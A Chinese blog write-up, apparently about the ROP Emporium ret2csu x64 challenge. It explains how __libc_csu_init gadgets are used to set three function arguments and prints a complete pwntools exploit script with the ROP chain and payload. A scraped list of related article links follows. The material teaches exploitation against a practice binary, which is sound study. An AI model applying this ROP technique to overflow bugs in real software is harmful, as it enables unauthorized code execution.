现在的ROP Emporium一共有8题,后几道题相比过去的题有了一些变化,国内的新wp也是非常难找,本篇基于ROP Emporium - Ret2csu (x64) - blog.r0kithax.com https://blog.r0kithax.com/ctf/infosec/2020/10/20/rop-emporium-ret2csu-x64.html

这位大佬的wp进行部分的解释。

打开ida,依旧是惯例的明显栈溢出的pwnme,ret2win中我们可以看到flag是加密后文件,key文件是钥匙,解密后puts,问题在于传参,1,2,3参数需要符合函数。下面内容便在处理如何把参传入并打开函数。

首先打开ROPgadget,并没有直接的pop rdi, rsi, rdx能让我们使用。我们需要去间接的传参。我们提供了这样一条思路:

第一条利用ropgadget得到的

一般来说,到这里思路就断了,mov中也很难找到可利用的。但是这里大佬找到了__libc_csu_init   

mov后直接call,导致不用再考虑后面的东西。

现在的问题变成了,r12这块的地址应该放什么,为了让程序进行下去,ret是再好不过的了。

这里我们理清一下call [地址] 的意义。[地址]相当于*地址。call 地址则是把该地址上的数据mov到ip。

因此我们需要的是一个地址,这个地址上存了一个地址,存的这个地址上存的才是我们想要的ret。我本来也是想试着把ret的地址存到某一块已知位置,但未能实现,这里采用的是大佬的方法。

这里能存着上面的地址我是万万没想到。

最后是大佬的exp,很工整,可以试着理解一下的:

from pwn import *# Set the pwntools context
context.arch = 'amd64'
context.log_level = 'debug'# Project constants
PROCESS = './ret2csu'
io = process(PROCESS)# Debugging
'''
gdbscript = "b *0x0040069a"
pid = gdb.attach(io, gdbscript=gdbscript)
'''# ROP Gadgets
pop_rdi_ret = p64(0x004006a3)                       # pop rdi; ret;# The third stack value needs to be the RSP value
ret2csu_gadget_staging = p64(0x0040069a)            # pop rbx;# pop rbp;# pop r12;# pop r13;# pop r14;# pop r15;# retret2csu_gadget_call_offset = p64(0x00400680)        # mov rdx, r15; # mov rsi, r14;# mov edi, r13d;# call qword [r12 + rbx*8]'''
Pointer to an executable location with the following gadget:sub rsp, 8;
add rsp, 8;
ret;
'''
dereferenceable_addr = p64(0x00600e48)
ret2win = p64(io.elf.plt['ret2win'])'''
R15 = RDX = 0xd00df00dd00df00d
R14 = RSI = 0xcafebabecafebabe
R13 = RDI = 0xdeadbeefdeadbeef
R12 = 0x00600e48
RBX = 0x0
'''# Craft the ROP chain
rop_chain = b"".join([ret2csu_gadget_staging,p64(0),                     # RBX = 0p64(0x01),                  # RBP = 0x01; this is important so that we can avoid the conditional jump in __libc_csu_init after calling the dereferenced addressdereferenceable_addr,       # R12 = pointer to a safe address to dereferencep64(0xdeadbeefdeadbeef),    # R13 = RDI = 0xdeadbeefdeadbeefp64(0xcafebabecafebabe),    # R14 = RSI = 0xcafebabecafebabep64(0xd00df00dd00df00d),    # R15 = RDX = 0xd00df00dd00df00dret2csu_gadget_call_offset, # Call the value of the dereferenced addressp64(0),                     # Align the stack so that after the values pop, we still have control of itp64(0),                     p64(0),                     p64(0),                     p64(0),                     p64(0),                     p64(0),                     pop_rdi_ret,                # Adjust RDI back to 0xdeadbeefdeadbeefp64(0xdeadbeefdeadbeef),ret2win                     # Call ret2win with the necessary arguments
])# Craft the payload
offset = 40
padding = b"A" * offset
payload = b"".join([padding,rop_chain
])# Send the payload
io.clean()
io.sendline(payload)
io.interactive()

ROP Emporium ret2csu相关推荐

  1. ret2csu ROP Emporium

    14 ret2csu 参考网址 [原创]ret2csu学习-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com ROP Emporium - Ret2csu (x64) - blog.r ...

  2. ROP Emporium x86_64 1~6题

    ROP Emporium是一个提供ROP攻击学习样板程序的网站,一共8道题,每道题有64位.32位.ARM.MIPS共4种格式的ELF文件,适用于多种平台,难度依次递增.本文档为前6道题的x86_64 ...

  3. ROP Emporium做题记录Challenge1-5(x86)

    题目地址rop emporium 1.ret2win(x86-32) from pwn import * p = process('./ret2win32') ret2win_addr = 0x804 ...

  4. ROP_Emporium_ret2csu

    文章目录 1. ret2csu 信息收集 反汇编 关于ret2csu利用 Rop chain Exp 3. 参考文章 1. ret2csu 信息收集 题目只有64位版本,提供了以下文件: encryp ...

  5. 软件安全实验——lab7(缓冲区溢出3:返回导向编程技术ROP)

    目录标题 1.举例详细解释什么是Return-orientd Programming ROP?(至少两个例子:x86 和arm) (1)ROP在X86指令集上的实例 (2)ROP在ARM上的可行性 2 ...

  6. cannot resolve symbol r_64位ret2_dl_runtime_resolve模版题以及踩坑记录

    什么是ret2dl攻击 当程序在第一次加载某个函数的时候,got表中对应的表项还没有写入真实的地址(因为是第一次调用),所以这个时候就需要调用_dl_runtime_resolve函数将真实的地址写入 ...

  7. ROP_Emporium_write4

    文章目录 1. write432 信息收集 黑盒测试 反汇编 思路 Exp 2. write4 反汇编 Payload Exp 3. 参考文章 1. write432 信息收集 题目给了3个文件:wr ...

  8. ROP_Emporium_badchars

    文章目录 1. badchars32 信息收集 黑盒测试 反汇编 思路 Exp 2. badchars 信息 反汇编 构造Payload 调试分析 Exp 3. 参考文章 1. badchars32 ...

  9. 二进制学习基础文章整理

    二进制.栈溢出入门笔记整理 以下是我入门二进制的一些笔记整理链接,特此整理出来,方便自己查阅,也方便读者阅读. 必备知识 <linux程序的常用保护机制> <PLT表和GOT表学习& ...

最新文章

  1. Bat_To_Exe_Converter 乱码 中文
  2. Hyperledger Fabric区块链工具configtxgen配置configtx.yaml
  3. gfi截图_GFI Backup Home Edition是Windows的免费数据备份实用程序
  4. 微博平台StatusNet研究(4):快速安装
  5. 10个绕过反病毒的恶意用户技巧
  6. 【Java】保留X位有效数字
  7. python2.7安装scipy_在centOS上离安装Python2.7以及numpy,scipy,matplot,sklearn等
  8. Mybatis-plus不走租户的配置方式
  9. java基础 6 基本类型与运算
  10. a标签的CSS伪类,点击后变色
  11. Mac OS X Tips
  12. 从日志中截取某个时间段的日志分析
  13. 【PRML 学习笔记】第二章 - 概率分布 (Probability Distributions)
  14. 学会计需要学计算机应用吗,会计都要学什么
  15. Ghost安装系统步骤
  16. 从零搭建KVM虚拟服务器
  17. 计算机开机总要按f1键,为什么开机要按f1键?win7每次开机按f1才能进入系统怎么办...
  18. Python测试题(绘制柱状图、画出sin函数图像、散点图、pandas实现列表)
  19. redefinition; different type modifiers错误解决
  20. 苹果手机怎么设置动态壁纸

热门文章

  1. 第一期:[开眼界] Android P预览版都有哪些设计新鲜事
  2. 14-HBase的介绍、数据模型以及架构模型
  3. JS获取时间戳 10位数时间戳
  4. c语言实验报告 折半查找法,C语言数组之冒泡排序+折半查找法(二分查找)
  5. OpenCV初学(5)--------矩阵操作
  6. 程序员应该怎么学数学?
  7. java实现微信小程序客服功能开发
  8. STM32+EC20实现4G无线通信
  9. 纯JS判断iPhone准确机型,iPhone6~iPhoneXs Max
  10. 线程和进程的区别 线程和进程有什么不同